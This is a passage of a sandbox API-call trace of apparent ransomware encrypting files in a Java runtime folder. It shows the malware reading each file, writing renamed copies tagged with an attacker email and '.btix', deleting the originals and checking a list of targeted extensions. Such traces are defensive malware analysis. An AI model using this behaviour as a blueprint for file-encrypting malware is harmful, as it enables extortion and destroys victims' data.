lpOverlapped=0x0) returned 1 [0150.749] WriteFile (in: hFile=0x380, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0xe050, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0xe050, lpOverlapped=0x0) returned 1 [0151.197] ReadFile (in: hFile=0x39c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1 [0151.197] WriteFile (in: hFile=0x380, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0xf4, lpOverlapped=0x0) returned 1 [0151.197] SetEndOfFile (hFile=0x380) returned 1 [0151.197] CloseHandle (hObject=0x380) returned 1 [0151.197] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.197] SetEndOfFile (hFile=0x39c) returned 1 [0151.198] CloseHandle (hObject=0x39c) returned 1 [0151.198] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0151.199] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_common.dll")) returned 1 [0151.201] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55 [0151.201] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55 [0151.201] lstrlenW (lpString=".doc") returned 4 [0151.201] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0151.201] lstrlenW (lpString=".docx") returned 5 [0151.201] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0151.201] lstrlenW (lpString=".pdf") returned 4 [0151.201] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0151.201] lstrlenW (lpString=".xls") returned 4 [0151.201] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0151.201] lstrlenW (lpString=".xlsx") returned 5 [0151.201] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0151.201] lstrlenW (lpString=".ppt") returned 4 [0151.201] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0151.201] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55 [0151.201] lstrlenW (lpString=".zip") returned 4 [0151.201] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0151.201] lstrlenW (lpString=".rar") returned 4 [0151.201] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0151.201] lstrlenW (lpString=".bz2") returned 4 [0151.201] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0151.201] lstrlenW (lpString=".7z") returned 3 [0151.201] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0151.201] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55 [0151.202] lstrlenW (lpString=".dbf") returned 4 [0151.202] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0151.202] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55 [0151.202] lstrlenW (lpString=".1cd") returned 4 [0151.202] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0151.202] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55 [0151.202] lstrlenW (lpString=".jpg") returned 4 [0151.202] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0151.202] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55 [0151.202] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55 [0151.202] lstrlenW (lpString=".doc") returned 4 [0151.202] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0151.202] lstrlenW (lpString=".docx") returned 5 [0151.202] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0151.202] lstrlenW (lpString=".pdf") returned 4 [0151.202] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0151.202] lstrlenW (lpString=".xls") returned 4 [0151.202] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0151.202] lstrlenW (lpString=".xlsx") returned 5 [0151.202] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0151.202] lstrlenW (lpString=".ppt") returned 4 [0151.202] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0151.202] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55 [0151.202] lstrlenW (lpString=".zip") returned 4 [0151.202] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0151.202] lstrlenW (lpString=".rar") returned 4 [0151.202] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0151.202] lstrlenW (lpString=".bz2") returned 4 [0151.202] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0151.202] lstrlenW (lpString=".7z") returned 3 [0151.203] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0151.203] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55 [0151.203] lstrlenW (lpString=".dbf") returned 4 [0151.203] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0151.203] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55 [0151.203] lstrlenW (lpString=".1cd") returned 4 [0151.203] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0151.203] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55 [0151.203] lstrlenW (lpString=".jpg") returned 4 [0151.203] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0151.203] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0151.203] lstrlenW (lpString="jvm.dll") returned 7 [0151.203] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0151.204] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=8809536) returned 1 [0151.204] CloseHandle (hObject=0x39c) returned 1 [0151.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll")) returned 0x20 [0151.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0151.205] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 1 [0151.210] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0151.210] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfc64 | out: lpNewFilePointer=0x0) returned 1 [0151.210] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfc24 | out: lpNewFilePointer=0x0) returned 1 [0151.210] ReadFile (in: hFile=0x39c, lpBuffer=0x3e35058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33dfc30, lpOverlapped=0x0 | out: lpBuffer=0x3e35058*, lpNumberOfBytesRead=0x33dfc30*=0x40000, lpOverlapped=0x0) returned 1 [0151.220] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x2ccec0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfc24 | out: lpNewFilePointer=0x0) returned 1 [0151.220] ReadFile (in: hFile=0x39c, lpBuffer=0x3e75058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33dfc30, lpOverlapped=0x0 | out: lpBuffer=0x3e75058*, lpNumberOfBytesRead=0x33dfc30*=0x40000, lpOverlapped=0x0) returned 1 [0151.246] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x33dfc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.246] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x826c40, lpNewFilePointer=0x0, dwMoveMethod=0x33dfc24 | out: lpNewFilePointer=0x0) returned 1 [0151.246] ReadFile (in: hFile=0x39c, lpBuffer=0x3eb5058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33dfc30, lpOverlapped=0x0 | out: lpBuffer=0x3eb5058*, lpNumberOfBytesRead=0x33dfc30*=0x40000, lpOverlapped=0x0) returned 1 [0151.284] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.284] WriteFile (in: hFile=0x39c, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0xc00fa, lpNumberOfBytesWritten=0x33dfca8, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfca8*=0xc00fa, lpOverlapped=0x0) returned 1 [0151.620] SetEndOfFile (hFile=0x39c) returned 1 [0151.621] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40000) returned 0x42bdde8 [0151.625] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfc74 | out: lpNewFilePointer=0x0) returned 1 [0151.625] WriteFile (in: hFile=0x39c, lpBuffer=0x42bdde8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33dfc80, lpOverlapped=0x0 | out: lpBuffer=0x42bdde8*, lpNumberOfBytesWritten=0x33dfc80*=0x40000, lpOverlapped=0x0) returned 1 [0151.626] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x2ccec0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfc74 | out: lpNewFilePointer=0x0) returned 1 [0151.626] WriteFile (in: hFile=0x39c, lpBuffer=0x42bdde8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33dfc80, lpOverlapped=0x0 | out: lpBuffer=0x42bdde8*, lpNumberOfBytesWritten=0x33dfc80*=0x40000, lpOverlapped=0x0) returned 1 [0151.631] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x826c40, lpNewFilePointer=0x0, dwMoveMethod=0x33dfc74 | out: lpNewFilePointer=0x0) returned 1 [0151.631] WriteFile (in: hFile=0x39c, lpBuffer=0x42bdde8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33dfc80, lpOverlapped=0x0 | out: lpBuffer=0x42bdde8*, lpNumberOfBytesWritten=0x33dfc80*=0x40000, lpOverlapped=0x0) returned 1 [0151.634] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42bdde8 | out: hHeap=0x660000) returned 1 [0151.634] CloseHandle (hObject=0x39c) returned 1 [0151.634] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0151.634] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll") returned 53 [0151.634] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll") returned 53 [0151.634] lstrlenW (lpString=".doc") returned 4 [0151.634] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0151.634] lstrlenW (lpString=".docx") returned 5 [0151.635] lstrcmpiW (lpString1=".docx", lpString2="m.dll") returned -1 [0151.635] lstrlenW (lpString=".pdf") returned 4 [0151.635] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0151.635] lstrlenW (lpString=".xls") returned 4 [0151.635] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0151.635] lstrlenW (lpString=".xlsx") returned 5 [0151.635] lstrcmpiW (lpString1=".xlsx", lpString2="m.dll") returned -1 [0151.635] lstrlenW (lpString=".ppt") returned 4 [0151.635] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0151.635] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll") returned 53 [0151.635] lstrlenW (lpString=".zip") returned 4 [0151.635] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0151.635] lstrlenW (lpString=".rar") returned 4 [0151.635] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0151.635] lstrlenW (lpString=".bz2") returned 4 [0151.635] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0151.635] lstrlenW (lpString=".7z") returned 3 [0151.635] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0151.635] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll") returned 53 [0151.635] lstrlenW (lpString=".dbf") returned 4 [0151.635] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0151.635] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll") returned 53 [0151.635] lstrlenW (lpString=".1cd") returned 4 [0151.635] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0151.635] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll") returned 53 [0151.635] lstrlenW (lpString=".jpg") returned 4 [0151.635] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0151.635] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll") returned 53 [0151.635] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll") returned 53 [0151.635] lstrlenW (lpString=".doc") returned 4 [0151.636] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0151.636] lstrlenW (lpString=".docx") returned 5 [0151.636] lstrcmpiW (lpString1=".docx", lpString2="m.dll") returned -1 [0151.636] lstrlenW (lpString=".pdf") returned 4 [0151.636] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0151.636] lstrlenW (lpString=".xls") returned 4 [0151.636] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0151.636] lstrlenW (lpString=".xlsx") returned 5 [0151.636] lstrcmpiW (lpString1=".xlsx", lpString2="m.dll") returned -1 [0151.636] lstrlenW (lpString=".ppt") returned 4 [0151.636] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0151.636] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll") returned 53 [0151.636] lstrlenW (lpString=".zip") returned 4 [0151.636] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0151.636] lstrlenW (lpString=".rar") returned 4 [0151.636] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0151.636] lstrlenW (lpString=".bz2") returned 4 [0151.636] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0151.636] lstrlenW (lpString=".7z") returned 3 [0151.636] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0151.636] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll") returned 53 [0151.636] lstrlenW (lpString=".dbf") returned 4 [0151.636] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0151.636] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll") returned 53 [0151.636] lstrlenW (lpString=".1cd") returned 4 [0151.636] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0151.636] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll") returned 53 [0151.636] lstrlenW (lpString=".jpg") returned 4 [0151.636] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0151.637] lstrcmpiW (lpString1=".exe", lpString2=".btix") returned 1 [0151.637] lstrlenW (lpString="unpack200.exe") returned 13 [0151.637] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0151.791] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=197184) returned 1 [0151.791] CloseHandle (hObject=0x35c) returned 1 [0151.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe")) returned 0x20 [0151.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0151.791] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0151.791] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.792] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.792] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0151.792] GetLastError () returned 0x0 [0151.792] ReadFile (in: hFile=0x35c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x30240, lpOverlapped=0x0) returned 1 [0151.813] WriteFile (in: hFile=0x398, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x30250, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x30250, lpOverlapped=0x0) returned 1 [0151.816] ReadFile (in: hFile=0x35c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1 [0151.816] WriteFile (in: hFile=0x398, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0xee, lpOverlapped=0x0) returned 1 [0151.816] SetEndOfFile (hFile=0x398) returned 1 [0151.816] CloseHandle (hObject=0x398) returned 1 [0151.816] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.816] SetEndOfFile (hFile=0x35c) returned 1 [0151.841] CloseHandle (hObject=0x35c) returned 1 [0151.841] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0151.841] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe")) returned 1 [0151.842] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0151.842] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0151.842] lstrlenW (lpString=".doc") returned 4 [0151.842] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0151.842] lstrlenW (lpString=".docx") returned 5 [0151.842] lstrcmpiW (lpString1=".docx", lpString2="0.exe") returned -1 [0151.842] lstrlenW (lpString=".pdf") returned 4 [0151.842] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0151.842] lstrlenW (lpString=".xls") returned 4 [0151.842] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0151.842] lstrlenW (lpString=".xlsx") returned 5 [0151.842] lstrcmpiW (lpString1=".xlsx", lpString2="0.exe") returned -1 [0151.842] lstrlenW (lpString=".ppt") returned 4 [0151.842] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0151.842] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0151.842] lstrlenW (lpString=".zip") returned 4 [0151.842] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0151.842] lstrlenW (lpString=".rar") returned 4 [0151.842] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0151.842] lstrlenW (lpString=".bz2") returned 4 [0151.842] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0151.842] lstrlenW (lpString=".7z") returned 3 [0151.842] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0151.842] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0151.842] lstrlenW (lpString=".dbf") returned 4 [0151.842] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0151.842] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0151.842] lstrlenW (lpString=".1cd") returned 4 [0151.842] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0151.842] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0151.842] lstrlenW (lpString=".jpg") returned 4 [0151.842] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0151.843] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0151.843] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0151.843] lstrlenW (lpString=".doc") returned 4 [0151.843] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0151.843] lstrlenW (lpString=".docx") returned 5 [0151.843] lstrcmpiW (lpString1=".docx", lpString2="0.exe") returned -1 [0151.843] lstrlenW (lpString=".pdf") returned 4 [0151.843] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0151.843] lstrlenW (lpString=".xls") returned 4 [0151.843] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0151.843] lstrlenW (lpString=".xlsx") returned 5 [0151.843] lstrcmpiW (lpString1=".xlsx", lpString2="0.exe") returned -1 [0151.843] lstrlenW (lpString=".ppt") returned 4 [0151.843] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0151.843] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0151.843] lstrlenW (lpString=".zip") returned 4 [0151.843] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0151.843] lstrlenW (lpString=".rar") returned 4 [0151.843] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0151.843] lstrlenW (lpString=".bz2") returned 4 [0151.843] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0151.843] lstrlenW (lpString=".7z") returned 3 [0151.843] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0151.843] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0151.843] lstrlenW (lpString=".dbf") returned 4 [0151.843] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0151.843] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0151.843] lstrlenW (lpString=".1cd") returned 4 [0151.843] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0151.843] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0151.843] lstrlenW (lpString=".jpg") returned 4 [0151.843] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0151.844] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0151.844] lstrlenW (lpString="WindowsAccessBridge-64.dll") returned 26 [0151.844] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\windowsaccessbridge-64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0151.844] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=110144) returned 1 [0151.844] CloseHandle (hObject=0x35c) returned 1 [0151.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\windowsaccessbridge-64.dll")) returned 0x20 [0151.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\windowsaccessbridge-64.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0151.846] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\windowsaccessbridge-64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0151.848] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.848] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.848] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\windowsaccessbridge-64.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0151.851] 